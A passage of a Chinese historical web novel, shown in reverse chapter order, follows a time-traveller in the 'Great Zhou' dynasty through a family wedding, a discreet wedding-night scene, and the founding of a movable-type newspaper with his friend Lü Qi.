要不是为了就医上学方便,凌晨还是喜欢农村小院。种点树,养养花,晒晒太阳看看书,打打游戏吹吹风,多好呀~ 还得努力工作,一部《聊斋志异》已经无法满足汴京百姓们的胃口了,该祭出《西游记》给大周百姓们展现出光怪陆离的神佛世界观了。 不过要注意细节,比如那句“凌霄宝殿非他久,历代人王有分传”就得改改,大周的审核可不只是让你下架那么简单。要是让老文误会凌晨有异志,再亲密的关系也能瞬间势成水火。 正路要搞,偏门也要捞,《金瓶梅》这种文学瑰宝在大周绝对会是畅销榜、在读榜第一!这本书要是一经问世,怕是大字不识的糙汉子也会挑灯夜读,头悬梁锥刺股的苦学认字,以求破解其中的知识奥秘。 兴趣才是最好的老师,就像凌晨,看英语课本就像看有字天书,几分钟就能昏昏欲睡。 但要是学习起“oh”、“yes”、“fuck ”来,我可就不困了~~ 第81章 连理同心 由于采取了休养生息的战略,大家都知道文训要提着弓进野区发育了,加上四周强邻们撕逼的撕逼,回血的回血。中原大区在经历了数年的动荡后,终于迎来了马放南山的安定繁荣。 难得不用打仗,趁着这个机会,凌晨亲自前往开封府衙,请冯延为大舅哥和小云主婚。 顺带还派刘廷让带上十几个护庄队员前往唐国境内的豫章府,寻找并告知江南陆家这件事。 毕竟是岳家,不通知肯定是不行的,至于通知了没人来,那就是他们的问题了。 不管怎么说,态度要端正。 当然了,夹带私货是免不了的,沿途勘探一下地形、路线、风土人情,到了之后和小云老爹聊聊跳槽或者后路之类的家常,也是情理之中的事。 作为前颍川府的乡军统领,现任开封府的骑都尉,在平定赵世中之乱和收复河北四府的战争中表现极为突出的猛将,大舅哥的威名远比凌晨要响亮的多,稳坐太尉帐下二流武将的头把交椅。 为啥不是一流? 因为他文化课不是特别好,再多努力努力,学学吴下阿蒙,倒是有机会成为一流武将。 目前中原公认的一流武将只有三个,一个是总领襄阳、南阳两府的文若,一个是统领青州、琅琊两府的王臣鹤,还有一个是凌晨不怎么熟悉的江淮军将领,叫李继贤。 总之这仨能打又能杀,书读的多,心眼子也多,阅历很丰富,都是可以独镇一方的存在。 言归正传,一听说大舅哥要成亲,许多高门望族、达官显贵都在第一时间送来了贺帖和祝礼,想要和大舅哥打好关系。 他们之所以这么热情,一个是因为大舅哥确实很牛逼,深得文训信任,掌管着京郊祥符大营一半的骑兵。 一个是因为他有一位神秘莫测的妹夫。 很多人都想趁着这次机会见见这位临颍侯,看看他到底是个什么玩意儿,乳臭未干的年纪凭什么被封侯爵?还拒绝了几乎所有权贵朝臣的拜帖和请帖。 谁的面子都不给,一问就是病入膏肓,转头就在大街上闲逛。 这次你妻兄成亲,就不信你不到场!我们上门喝喜酒,就不信你丫不笑脸相迎! 靖安三年二月初七,在汴京城杨柳巷新买的四进宅门前,人山人海,比最繁华的柳南坊街道还要热闹。 前院、中堂、偏堂摆着整齐的宴桌,足足有四十几桌,后院同样也摆着十几桌。桌椅比较简朴,但菜肴却非常丰盛,每桌宴席周围还放着供暖的铜炉。 大舅哥和凌晨立在门前,不停的抱拳笑迎络绎不绝的来客,再由告假的崔赦、侯明、还有两位在军中与大舅哥交好的袍泽迎请进院中。 青樱、青柠、韩意、文瑶在后宅为小云梳妆打扮,二婶穿金戴银,叮叮当当的说笑着和文鸯在后院招待各家女眷。 “关东两府都指挥使王臣鹤,恭贺刘都尉新婚大喜~” “襄南两府都指挥使文若,恭贺刘都尉新婚大喜~” 前面的唱礼大家都反应平平,直到文若和王臣鹤派遣来京的人到达刘府时,来宾们这才面色凝重了起来。 “凤翔留后韩登,恭贺刘都尉新婚大喜~” 嗯?? 凤翔?那不是关中节度使的地盘吗? 等等……韩登?? 院子里的宾客立刻交头接耳起来,议论纷纷。刘青山这人不得了啊,啥时候悄默声的跟少主和王臣鹤混一块去的?他还跟关中节度使的长子有交情? 说句不好听的,太尉仙游后,这万里江山,定然是少主的。而那位实际上的关中王去世后,关中节度使的宝座也大概率是韩登的。 一念及此,他们再次看向周围朴实无华的门窗屋檐,还有面前材质一般的桌椅碗筷,有股说不出的奇怪。 这已经完全称得上是权势滔天了。 “大唐豫章知府顾彬,恭贺刘都尉新婚大喜~” “大唐临川节度使沈之微,恭贺刘都尉新婚大喜~” 礼官念罢,满院寂静。 什么玩意?谁? 我幻听了? 不止是来客们傻眼了,凌晨和大舅哥也懵了,这谁啊?没听说过啊…… “大唐安庆知府周洪,恭贺刘都尉新婚大喜~” 呼~~总算来了个认识的。 来的都是客,不管怎么说,不能慢待了人家。凌晨从正堂台阶上“噔噔噔”的走了下来,走到三位唐国使者面前,客气的朝他们拱手行礼。三人也很有礼貌,并没有要搞事情的迹象,齐齐作揖还礼。 凌晨看向那位安庆知府的使者,有些尴尬的问道:“上次一别,周大人可还好?” 使者不卑不亢的回答道:“托侯爷的福,知府大人被问罪下狱,几经周折才官复原职。” “哈…哈哈哈,呃……哦哦哦!几位远道而来,路上辛苦了,快请入座歇息。” 三人再次客套的行了一礼后,跟着凌晨进入了正屋偏堂。凌晨专门给他们找了几个杀过人的武将作陪,还让白千带着护庄队员站在他们身后小心伺候着,免得他们从哪抽出一把鱼肠剑来。 他才刚走到屋外,又是一道唱礼响起: “晋阳军统军安容,恭贺刘都尉新婚大喜~” …… 今天这场婚礼过后,大舅哥注定会成为汴京城里的传说。 还好孟蜀和夏国没有派人来,老文也事先知道了小云的来历,清楚凌晨曾经的唐国之行,不然大舅哥真的要被喊去喝茶了。 但在那些不知情的人眼中,一向不显山露水的临颍刘家,在这次大婚中展现出来的底蕴,简直深不可测! 这还只是刘青山自己,他们家还有位同样低调的侯爷呢! 望着凌晨笑意盈盈、在宾客们中间往来穿梭的身影,许多从外地新迁入京的贵族都感到一阵压力山大。 京城的水确实很深啊…… —— 青云碧落装点成今日龙凤和鸣,百年佳期拜天地,终得成双消息。 出身寒微、饱尝辛酸、历经风霜雨雪和世态炎凉的大舅哥终于成家了,和他一样苦命的小云也算在这世上真正有了依靠。 夫妻二人出身不同,经历不同,性格也不同。大舅哥性烈如火,小云…哦不,现在该叫嫂子了,嫂子温柔似水,但愿他们能互相弥补对方的不足,相依相守,一起携手到白头吧~ 青柠立在凌晨身边,望着跪下来拜堂的兄嫂,眼泪吧嗒嗒的往下掉,凌晨连忙卷起袖子替她擦拭着哄道:“不哭不哭嗷,这大喜的日子……” 青柠吸着鼻子,低下头用手绢擦着自己的眼角,瘪着嘴说道:“我是高兴的,爹娘在天有灵,看到这一幕也能瞑目了……” “是啊,你们兄妹都成了家,也算是对他们最好的告慰了。” 望着满院宾客,凌晨也是感慨万千。就算没有自己,大舅哥也会完成属于自己的龙王归来,他的成就可能没有现在这么高,但也差不到哪里去。 “太尉府总管家,谢荣到~” 听到谢荣来了,所有人都站了起来,坐在主位上的冯延和二婶也急忙站了起来,正张望间,谢大管家已经来到了正堂里。 “刘都尉今日大婚,太尉本想亲临高庐,沾沾喜气,但又恐喧宾夺主,故而遣小人前来,携礼恭贺。” 大舅哥连忙抱拳躬身,嫂子也跟着恭敬弯腰。 “末将何德何能,劳太尉挂念关怀,烦劳先生回禀太尉,深恩厚意,谨记在心,但有驱使,任凭吩咐,赴汤蹈火,在所不辞!” “嗯~” 谢荣点了点头后,走上前笑呵呵的扶起一对新人,又从袖中掏出一张纸说道:“这是在下自己为都尉和夫人准备的一份心意,望乞笑纳~” 大舅哥连忙伸手接过,客气的说道:“谢先生能光临寒舍,已是蓬荜生辉,何必还携此重礼……” “哎~大家都是替太尉做事,替朝廷效力,说这些做甚?早早生个小子,我还等着喝满月酒呢~” “呃……哈哈……” “哈哈哈哈哈~~” —— 参加完婚礼后,凌晨和青柠就回临颍老宅了,本来是可以住在京城里的,但在他们新婚之夜留宿下来,总感觉怪怪的。 即使是富贵了,凌晨也没想再买个丫鬟仆人什么的,平时都是青柠和嫂子做饭。现在嫂子给大舅哥做饭去了,偌大的院子里就剩下他们俩,也算是过回二人世界了。 今天跑了一天,浑身黏糊糊的都是汗,凌晨亲自烧了一锅水,叫青柠先去洗浴了,然后又继续将锅里倒满水,往灶门里塞了两根木头后,望着烛光摇曳的西厢房,顿时有些激动。 他跟做贼似的蹑手蹑脚走到院子门头下,确认门闩插好了以后,吞着口水径直来到西厢门外。 青柠正在浴桶里欢快的拨水玩,今天她心情很好,毕竟也算是完成了人生中一项重要的任务。 直到听到门响和脚步声,她才止住了玩水。 “相……相公,你怎么进来了?” 凌晨一边挽起袖子,一边走到了她的身边,羞得青柠低着头贴在浴桶边,心跳不受控制的加速起来。 今天,家里就只有他们两个。 “这不是嫂子走了,没人帮你洗浴么?当然是为夫亲自动手了呀~” 尽管已经和凌晨有过十分亲密的行为,但这么明目张胆的赤身裸体共处一室,还是在洗浴,让青柠没来由的感到一阵羞臊。 “我……我自己可以……” “瞎说什么呢?你自己怎么洗的干净?为夫帮你~” 说罢,凌晨也不再和她废话,拿起一旁的面巾就沾水打湿,坐在青柠背后,伸进浴桶里替她擦背。 望着光滑细腻的后背,感受着掌心传来的柔软和温热,凌晨顿时就觉得有些口干舌燥。他慢慢丢了面巾,两只手搭在青柠的肩膀上,顺着胳膊向下游走起来。 细腰,软胯,滑腿,小腹…… 屋子里安静的出奇,只能偶尔听到一丝水花的声音。 直到他的双手摸到两块软玉时,青樱曲着身子颤了一下,发出了轻轻一“嗯”。她连忙推开凌晨的双手,低声说道:“洗……洗完了再……” 深呼吸了一口气后,凌晨咳咳两声,抛却杂念认认真真的为青柠擦拭起身体来。等她洗好走出浴桶后,望着面前的完美身材,凌晨看的眼睛都直了,浑身血脉喷张,差点就一把扑上去了! 但是一想到这身衣服今天不知道沾染了多少灰尘,还和许多人有过接触,鬼知道有没有病菌。 他只好压下浑身燥热,三两下扯去自己的衣服,“噗通”一声就跳进了浴桶里,溅的水花到处都是。 青柠穿好衣服后,既好气又好笑的埋怨道:“那是我洗过的水,你……哎呀!你等我去给你添些热水。” “添个毛!快点穿暖和,去屋里等我~” 青柠看着在自己身上使劲来回搓皮,把肩上皮肤都搓红了的凌晨,捂着脸哭笑不得的叹了口气,裹紧衣服走出门去了。 三两下清洗干净后,凌晨跳出浴桶,扯来木架上的面巾迅速擦干净身上的水,穿好衣服包好头,迅速来到了正房卧室里。 青柠正坐在梳妆椅上,对着铜炉搓头发。 凌晨将门关好后,拿起桌子上干燥的面巾,又呼哧呼哧的擦起自己的头发来。 死头发!倒是快干啊! 烛火映照在青柠的鹅蛋脸上,她无奈的笑着拿起木梳子,散披着头发走到凌晨身边,温柔的替他梳理起来。凌晨又忍不住伸出双手,开始不老实的游走起来,提前热车。 最后,还不等青柠将梳子放下,凌晨就一把将她公主抱了起来,急匆匆的走到床榻边,将她放在了柔软的床上。 看到凌晨火急火燎的脱衣服,青柠缓缓低下头去,满脸羞涩的褪去自己的外衣。在被子里脱掉亵裤后,她拿出来放在一旁,正要整齐的叠好,一双滚烫的大手已经搭在了她的肩膀上。 随着一声娇呼,绣着粉色牡丹的纯白丝绢肚兜就被野蛮的丢向了空中。 是夜天作合,忘辨古与今。 流水承花恋,妾意属郎情。 几度春风酿,始有肌肤亲。 雪榻红梅醒,桃玉落冰凝。 烛墙映人影,兰香透帐吟。 并赴潮深处,十指锁同心。 第80章 汴京时报 汴京城东,一所花高价买下来的作坊小院里,齐聚了上百名男男女女。 东屋全是女子,铺满了如豆腐般整齐的纸张,她们负责裁剪、缝订、拓印、整理这类轻松活计。 西屋全是男子,负责搬运、抬送成品,以及烧制活字、雕刻模板。还有一些有文化的落魄书生,负责排版和具体编写内容。 但这只是预设,现在一切都还没有开始,他们各自坐在自己的房间里谈笑风生,静等。 等什么? 等凌晨忽悠吕齐。 北屋正堂里,吕齐和凌晨站在一张桌子前,二人盯着桌上的模板正在商议。 “要把画出来的人物肖像刻在木板上不是难事,但墨浸入木头里,线条的粗细就不好把控了。” “这不是什么大问题,黄梨木和酸枝木材质都很坚硬,而且抗腐蚀性很强,完全能拓印上千次,一个月准备两套就足够了。” 吕齐点着头说道:“其实紫檀木和乌木材质更好,可惜价格太昂贵了。” “现在作坊没什么钱,等以后赚到钱了,也未必就用不起。”凌晨自信的答道。 “哥哥,排版怎么排?要想墨迹不要互相沾染,就必须弄大一点,可太大的纸成本很高,何况我们用的还是宣纸。太小写不了多少内容,写多了雕刻起来又很麻烦。” 凌晨抚摸着桌子上雕刻了一整块文章的模板,循循善诱道:“你说……有没有办法把这些字扣出来,让他们单独烧制成一字一块,然后装在一框楔子里,拓印完了再换个位置……” 听了凌晨的话后,吕齐单手抱胸,摸着下巴若有所思起来:“哥哥这个想法倒是新奇,只是单独拓印……黏土的质量怕是无法做到精细,拓印过程中也可能碎裂。 与其如此,还不如干脆多费一些功夫,先烧制一批反模,再将铜汁铁水灌入其中,弄出一些硬字来。如此一来,走墨和碎裂的问题便迎刃而解了。” 我靠……这小子挺能举一反三啊! 凌晨拍着手掌说道:“兄弟真是奇思妙想!这样一来,虽然前期费力了一些,可往后再无累赘,可以安心拓印,专注于文章了!” 吕齐的手指从模板上轻轻拂过,面色有些潮红。他似乎感觉到这是一件不得了的事情,有可能会对以往的印刷行业和书籍装订产生颠覆性的影响。 不用凌晨从旁提醒,吕齐自己在堂中来回踱步着思索起来,边想边念叨着—— “若是如此,可多加试验,将小字铸的精细无缺,画版的材料也可以多对比一下,到时候择出最优的,不止是凌兄想做的小报,我们还可以成批出书,皆时……” 凌晨笑着说道:“眼下许多寒门、农家的读书人苦于无学,都是借阅和抄读别人的书籍。吕兄此计若成,为我大周文治凭添助力,怕是一场不小的功劳,说不得是要青史留名的。” 吕齐双手扶着桌面,眉毛拧在一起,完全沉浸在了其中,自言无语道:“不止是读书人,平民百姓识字不多,看不懂书籍。但我们可以去掉繁琐的字,全用画图代替,只加一两句简单注释,到时候他们也能潜移默化的识得几个字。” 听到他这么说,凌晨愣住了。 这小子…… 有点逆天了吧?自己就提供一个灵感,他这都想到漫画周刊上去了,大周版知音漫客?? 不能再让他天马行空下去了,在整下去,凌晨真怕他连b站都搞出来。 “兄弟,兄弟,”凌晨打断吕齐,将他拉回现实:“不要空想,咱们先干。光是将小字浇铸出来就是个精细活,得摸索试验很久呢~其他的咱们先放放,一步一个脚印,别急,好吗?” 吕齐紧张的整个人都有点抖,自古以文取仕,这事要是干成了,他跟凌晨必定会被天下士人熟知乃至传颂,每当他们拿起书本,就会想到他们二人。 “哥哥,此事若成,我们说不得会被朝廷……” “不,不是我们。” 吕齐抬起头,不解的看向凌晨,只见他指着自己说道:“是你。” “哥哥,这是何意?” “我只是想做小报,你把我要的小报做好就行。其他的你自己想办法凑钱去搞,搞成什么样子我不管。咱们亲兄弟明算账,砸了你自己承担,成了我也不贪你的功。” 吕齐很不理解的问道:“哥哥何出此言?这可是功在当代,利在千秋……” 凌晨打断他,毫不在意的说道:“别幻想了,先去研究铸模吧。你呀,还差的远呢~” 这事绝对不能带上自己的名字,一个在军中素有威名的年轻侯爷,在仕林中要是又获得滔天声望,那还得了?! 哪朝人主坐的住? 要时刻认清自己的定位,只有想博取他人关注、爱刷存在感的傻子才会出尽风头,任你才高八斗,还不是要七步成诗?任你才绝古今,还不是要雪夜诏狱? 兔子死得快,王八活得久~ —— 吕齐是个了不得的人,别看他性子有点懦弱,干起大事来那是真猛,有时候比凌晨还疯。 在意识到活字印刷可能带来的巨大影响后,他派人回幽州把自己的一切财产都变现,套了银子直接拉到汴京,风风火火的一头钻进作坊里去了。 小报的排版敲定好了,由于大周纸张的质量并不适合拓印正反两面,所以只能挤压在一面上,凌晨给吕齐做出了指导性的意见—— 一张纸分四部分,由于大周看书是从右往左看的,所以右上刚开始,先宣布朝廷有什么最新的大事,有哪些与士子百姓息息相关的政策,以及官员升迁、人事变动。 这些是小报的核心价值所在,也是未来的竞争力,信息必须准确,有权威性。用词必须正确、严谨,不能加入主观猜想和个人评判。 右下是各地新奇趣闻,比如哪个官员家侍妾倒逼正室啦、那个地方有好玩好吃的东西啦、汴京花魁最近在干什么啦、琅琊男团最新一期的戏团成员名单啦等等等等。 这块可以评论,可以胡说,怎么惊人怎么来,怎么悬乎怎么扯。 左上画画,画风景,画人物,画唐皇李雄相貌丑陋、晋王孙芝酷爱女装、蜀主孟玄疑似有龙阳之好,契丹可汗与羊的秘密。再宣传一下他们境内环境有多糟糕,水贼喜欢撕票,山匪专吃小孩,官员强抢民女。 由于和韩登私交甚好,加上韩意极有可能是未来皇后,所以关中节度使韩珏幸免于难。至于其他各地Boss,有一个算一个,给我铆足了劲往黑了抹! 左下是空白广告位,你家在京城新开了一家酒楼?五十两银子,保证让整个开封府的人都来尝尝。你想成为下一任花魁?一百两银子,保证让所有人都了解到你的才艺双绝。 我们有专业的润色人员,豆腐青菜都能夸成白玉翡翠,寻常酒水也能描绘成玉露琼浆,卡比兽那叫贵妃醉酒,竹节虫那叫掌上起舞。 包括要招工干活啦、要寻找失物啦、让大家都能读到你的文章啦……只要你给钱,没人比我们更懂宣传。 费时两个月,吕齐终于把第一版小报做了出来。凌晨亲自提笔,上书“汴京时报”四个大字,技术已经成熟的工匠只用了一天时间,就用铁水浇铸了出来,插进楔子里。 小作坊火力全开,成品一张接一张的拓印出来。 靖安三年元月一日,五千份汴京时报印刷完毕,被一群从穷苦人家招来的报童散发了出去。 不要九百九,不要九十九,一张只要九文钱,比糖葫芦贵不了几个钱。 汴京时报一经发售就引起了全城轰动,准确的时政信息、有趣的社会见闻、令人眼前一亮的图绘画像、还有临颍侯凌晨刊登的《聊斋志异》第一篇。 好一个《考城隍》!! 街头巷陌、酒肆茶楼、村口树下、高门深闺,到处都是谈论汴京时报的声音,大周人民活了一辈子都没见过这玩意,纷纷聚众传阅讨论。 京中名妓祁梅儿的成名自述、《聊斋志异》的耳目一新、汴京西城的扩地招募、晋王孙芝的奇特癖好,都为他们平淡的生活注入了一丝快乐和新奇,生活莫名其妙的好像有意思起来。 甚至已经有人打听到作坊的位置,跑来询问下一版什么时候出,在得知是一月一版后,纷纷跑回去向亲朋好友、街坊乡邻们宣传。 帮凌晨做完小报后,吕齐并没有休息,而是放开手脚印刷起了四书五经和各类杂书典籍。这一次,文训坐不住了,派人将他请进了汴京城新修成的太尉府里。 汴京时报不过是小计,无伤大雅。可成批印书是大事,影响深远。 甚至会动摇官员选拔和政治格局。 没有人知吕齐和太尉谈了些什么,只知道他当晚留宿在太尉府,第二天又安全回到了作坊里。 不久后,那处平平无奇的小作坊,就被京城驻军掌管了,而且好像还是原江淮军的精锐步卒。 也有精明人看到了商机,试图模仿,结果发现这事压根干不了。 每一版都要费时费力的刻字刻画,做出来的质量也远不如汴京时报那么精致。而且宣纸那么贵,九文钱一张完全就是在亏钱。刊登的信息也没有人家那么准确、有趣,很难吸引到人。 另外,除了汴京时报被官方认证过之外,其他人制造这种小报会被开封府衙请去喝茶。 冯府尹的茶可不好喝,仔细烫着嘴。 吕齐印刷出来的书籍,全部都被文训派军队押送进了上林苑,再用朝廷的名义,以成本价卖给天下士子。活字印刷的秘密也被列为机密,只待天下一统后,再为他证功扬名。 但老文也没让他白干,在他的授意下,冯延向朝廷举荐,将吕齐征辟为上林苑丛书,官居丛五品。 整个幽州吕家,只有新任幽州知府、吕齐的大伯官爵比他高三级。其他所有人,都是弟弟。 吕齐的父母、妻子被朝廷调到京城来时全都是懵的。他们起初还以为是吕齐犯了什么事,朝廷要将他们全家一锅烩呢,结果莫名其妙的被安排进了位于杨柳巷的四进大院里。 四进的宅子不稀奇,可位于杨柳巷,意义就截然不同了。 吕府左边住着的是工部侍郎,右边住着的是京城马军都尉,对门更不得了,住的是中书门下的谏议大夫。 杨柳巷,不是有钱就能住进去的。 吕齐的嘴很严,哪怕是面对文训,也没透露只字片语,只是说凌晨得知了他的技术想法后很支持,还主动刊登《聊斋志异》为汴京时报增加吸引力。 一个爱写小人书的临颍侯能有什么坏心思呢? 文训赏赐了凌晨一批绢缎,叫他把《聊斋志异》的草本先给他送过去,他要先睹为快。 堂堂太尉,岂能和市井小民一样等着更新?那我这太尉不是白当了? 第一版的汴京时报有试水的成份,所以比较谨慎。而第二版的就完全不一样了,得到文训的支持后,从民营转央企的汴京时报火力全开,作坊里的工匠们拓冒烟了才印制出三万份,发往全国各地。 招人、招工匠、扩建、调印刷行业的技术骨干和老师傅,一切都在如火如荼的进行着,一股强大的软实力正在渐渐形成。 文风雅趣,也从开封府吹向了天下九州。 中原文治鼎盛、武运昌隆,太尉文训的威望正在与日俱增,支持率比珍珠港事件后的罗斯福、马岛战争后的撒切尔还高!在中原各府人民的心中,远远超过了其他各大势力的领头羊。 甚至在街头巷尾,已经自然而然的孕育出了改天换日的言论,在没有人为干预的情况下,也很少听到反对的声音,更不要说官员士绅这些既得利益者。 自唐末以来,城头变换帝王旗是一种常态,对于政权更迭,百姓们并不会表现的有多慌乱,毕竟过好自己的日子才是最重要的。 而现在,文训能让大家都过上好日子。 平稳的过渡,已经具备了成熟的条件。 为这个天下操碎了心的幕后推手,在瓦解了其他势力的颠覆阴谋后,事了拂衣去,深藏功与名。 青柠已经过完了十八岁生日,四年之期已到,封印解除。 该圆房了~ 第79章 英俊沉下僚 精神文化的渗透力,远比战场上的刀剑更可怕。 玩媒体宣传,凌晨能甩这些敌对国家和势力几十条街。把路透社和BBC的伎俩随便拿出来几个,就够他们喝好几壶的,更不要说战忽局和战恐局的艺术。 必要的时候,作为美术生,在下也略懂一些法新社镜头,保证让中原军队的形象铁血冷峻,看上去就安全感满满。让其他势力的军队踢阿三正步,只一眼就回家缝好白旗。 可以让文训静立殿上,手提宝剑,堂下卧虎。也可以让晋王爷身着女装,额点朱砂,唇抹胭脂。 现在最大的问题是,让谁来实控和统筹负责这项事务? 这世道兵荒马乱的,还能有闲情雅致和财力学画画的,无一不是贵族子弟。 正所谓万般皆下品,惟有读书高。画画只是爱好,读圣贤书的目标都是做官,谁会脑子抽了放弃功名利禄和大好前程,去给凌晨当个报社编辑? 吩咐白千去搜罗合适的落魄书生和印刷作坊后,凌晨重新回到了正在扩建的汴京城,寻找合适的有缘人,或者说幸运儿。 从幽州到江淮,从襄阳到蓬莱,所有入京的贵族官绅在听说了这位神秘的临颍侯突然回京后,纷纷派心腹之人前来接触,想要结交凌晨,但全部都被他手下的解二给推掉了。 不约不约,玉盏珍馐愿居后,旌旗沙场奋争先,文化领域的较量是一场没有硝烟的战争,哪有空陪他们喝酒把妹吹牛逼?无效社交通通死一边去。 文训和冯延都没有来打扰凌晨,当初他辞去团练和原本应该担任的京城步军都尉之职,就已经表明了态度。凌晨不去找他们,他们也不会打扰凌晨。 只有韩意一如既往的热情,隔三差五的就跑来临颍找青柠玩,有时还会带上两个妹妹或者其他交好的豪门贵女,弄的家里莺莺燕燕,满是胭脂水粉的味道。 背着手走在汴京街头,凌晨格外留意那些兜售字画的书生。 很可惜,虽然他们字写的一个比一个漂亮,可画作却是一个比一个写意,擅长人物肖像的更是一个都没有。 摸着下巴思索了一阵后,凌晨开始怀疑自己是不是有些刻板了,或许军营里的粗鲁大汉中,有擅长画美人的也说不定~ 一连寻找了七八天,凌晨都没有找到理想人物,贴出去的告示招来的大部分都是歪瓜裂枣,偶尔有几个还算看的过去的,也是精于工笔,缺乏统筹和协调能力。 唉!直到这时,凌晨才明白什么叫千军易得,一将难求。 苦寻无果后,凌晨准备视察一下动物园就回家了,实在不行,就自己亲自下场操刀。 “凌……呦,真是哥哥!” 嗯?谁特么喊我? 凌晨立在关着几只孟蜀籍猴子的木栅栏外,正在思绪万千时,耳边突然传来一道有些熟悉的声音。 淡黄色的纶巾,发丝里插着一朵红白两色交替晕染的蔷薇花,一袭青衫随风飘动,骚包的摇着折扇。浑身散发着年轻人的朝气蓬勃,双目透着精光,长的也端端正正,看上去挺温和,笑起来蛮阳光。 幽州百晓生,鸡城酒肆哗变的出头鸟,人型信息处理器——吕齐。 “我草!兄弟,你怎么来京城了?” “嘿嘿嘿……” 见凌晨一脸惊喜,吕齐开心的笑了,随即想起了什么,整理衣冠向凌晨行礼道:“草民见过侯爷~” 凌晨一拳捶在吕齐的肩膀上,笑骂道:“跟老子还整这套!走,哥请你喝酒去~” 其他的事先放一放,在动物园偶遇到吕齐后,凌晨郁闷的心情瞬间一扫而空。 来大周后,真正和他聊得来的同龄人,只有四个。 文若是那种话不多,但不在乎地位高低,你干啥都会埋头跟的兄弟;韩登是唯恐天下不乱,比凌晨还爱搞事的逆子;王臣鹤是兴趣相投,相处起来很舒服的君子之交。 剩下就是眼前这小子,他那股乐观开朗的随和气性,懦弱表象下透露出的胆大包天,很对凌晨的脾气。更何况,在上次的敌后作战中,二人还是一起砍过人的袍泽。 “上次鸡城哗变,你居功至伟,我原以为你会留任幽州,怎么跑来京城了?” 凌晨搂着吕齐的肩膀行走在汴京大街上,丝毫不顾旁人异样的目光,身后跟着解二和两个护庄队员。 “这……一时半会也说不清,找个安静的地方,我再细细告知哥哥吧~” “好!” 他们进入京城最繁华的柳南坊,说说笑笑,一路来到了新开的留醉楼前。 凌晨指着眼前的三层高楼对吕齐热情的介绍道:“兄弟,这是江淮人新开的,里面有蜀地的厨子,听说手艺挺正。走,去尝尝。” 吕齐也开心的点头打趣道:“既然来到哥哥的地盘上,少不得要大吃一顿,哥哥可当心自己的钱囊~” “哈哈哈哈~” 凌晨大笑着拉起吕齐,抬脚就往里走。进到里面后,望着座无虚席的大堂,两人皆是心情极好。 士人书生围坐聚饮,富商员外小案对酌,相比楼外的喧嚷繁华,多了几分高雅之意。但人人都在热络交谈,一点也不冷清,面容姣好的侍女静静立在一旁等候吩咐,勤快精明的小二来回穿梭在大堂之中。 二楼还传来隐隐约约的萧声笛韵,琴音悠扬婉转。 能在这里做掌柜,眼力见肯定是有的,见到凌晨和吕齐这么年轻,身后还有护卫跟随。戴着方巾、留着山羊胡子的掌柜立刻就走上前来,恭敬的询问。 “几位相公想要坐在哪里?” 凌晨敲着柜面说道:“甲字号的雅间还有没有了?” “哎呦~实在是抱歉,甲字号的雅间已经被订满了,乙字号的雅间倒是还有两处好的,窗户正对着金明池,二位相公意下如何?” 凌晨皱着眉毛,有些不满意,兄弟千里迢迢来自己的地盘,招待不周怎么行呢?老子高低也是个侯爷,去乙字号,面子往哪搁? 吕齐似乎看穿了凌晨的心思,笑着对掌柜的说道:“正好,我早就听闻金明池的湖光水色乃是开封一绝,对面更是有大相国寺和杨柳巷两处盛景,今日定要一饱眼福。” 见吕齐已经替自己决定了,凌晨也只能无奈的接受,心中略微有些不爽,对这家店有些不满意。不过他还是搂着吕齐的肩膀,准备上楼去,给兄弟多点两个清倌人赔礼。 “你什么时候来京城的?在这里做什么?” 正当他们和掌柜的说完,准备抬脚上楼时,从二楼楼梯上下来四五个公子哥,与凌晨吕齐年纪相仿,领头的那个皱眉望着吕齐,似乎有些不高兴。 吕齐见到此人后,一直挂在脸上的笑容消失了,气势弱了两分,规规矩矩的答道:“弟来京城游学,恰好碰到朋友,故而前来一聚。” 领头的公子哥看了一眼凌晨,确信自己不认识后,收起折扇对吕齐教训道:“族中将商铺交由你打理,就该用心经营,不要整天东游西荡没个正形。末了快些回幽州去,仔细我告知家主,剥你的皮!” 吕齐低着头答道:“是,弟记下了。” 训斥完吕齐后,那公子哥目光瞥向凌晨,居然白了他一眼,带着一行人越过他们离开了。 凌晨疑惑的望了一眼他们离去的背影,按下心中的不快,带着吕齐一起来到了雅间里。 雅间中间是一张梨花大圆桌,门西窗东,正对着风光秀丽、水波荡漾的金明池。北边小间里摆放着桌案和文房四宝,供客人诗性大发留墨所用;南边小间垂着珠帘玉锁,里面摆放着琴瑟琵琶,只待客人点了清倌弹奏唱曲。 凌晨现在没心思看景色,也没心思点姑娘,他只想知道吕齐是怎么回事。 “刚才那小子是谁?” 早就预料到凌晨会有此一问的吕齐叹了口气,无奈的解释道:“那是我家中族兄,让哥哥笑话了……” “他刚才说什么商铺交给你经营是怎么回事?以你在鸡城的所作所为,朝廷难道没有给你封官加爵?” 凌晨的紧紧追问,让吕齐深觉难堪,沉默了许久后,才不情不愿的将事情的原委透露出来。 幽州吕家,在平定应开疆的叛乱中功劳不小,族中被征辟和擢用为官的不在少数,但并不包括吕齐。 现任家主是大房,他爹是二房。 他还是二房庶出。 所以,他在鸡城的泼天功劳被家主移花接木给了自己的儿子,也就是刚才的那位公子哥。而老文忙的晕头转向,自然也没空去理会这些鸡毛蒜皮的小事。 况且,就算他知道了,也不可能为了吕齐去惩戒吕家,那样只会让归顺的势力心生惧怕,未降的势力望而生畏。 而且吕齐老爹和他自己也没有反抗不公。 “我原以为,你能被吕家派到邺城和孙芝联络,在家族中的地位一定是不差的,没想到……” 吕齐无奈的叹着气苦笑道:“当时正值燕、晋交战,怎么会让重要的后辈去敌人的地界议事呢?我是被临时拿来当信差的。若我身份足够,又岂会在在门外守等。” 这是人家的家事,凌晨作为外人,也不好掺和进去。凭他的份量,自然能让吕齐不受委屈,可这样一来,就是逼着他和家族为敌,如果他自己没有这个想法,凌晨不会贸然越界,干预别人的生活。 “那你接下来有什么打算?” “我想来京城转转,寻找机会。太尉新定天下,各地权贵皆入京建府,小弟想趁此机会,多结交一些朋友,往后看看能不能凭借人脉,在家族中有一席之地。” 望着眼前这个被挖了至尊骨还踌躇满志、不屈不挠的年轻人,凌晨是既同情又敬佩,同时还有点不理解。 家族不拿你当人,你还那么看重家族干嘛?你数次以身犯险,拼了性命得来的功劳被他人冒领窃取,换我早特么掀桌子了! 想着想着,凌晨突然摇头一笑,是自己着相了。 每个人的成长经历和性格脾气都各不相同,用自己的观念去评价别人的选择,这本身就是错的。就像韩登觉得自己只有一个老婆、难以理解是一个道理。 换位思考一下,文训如果用他的思维,给凌晨强行安排几个妾室,本意是为了他好,可实际上的效果呢?只是给自己增加麻烦。 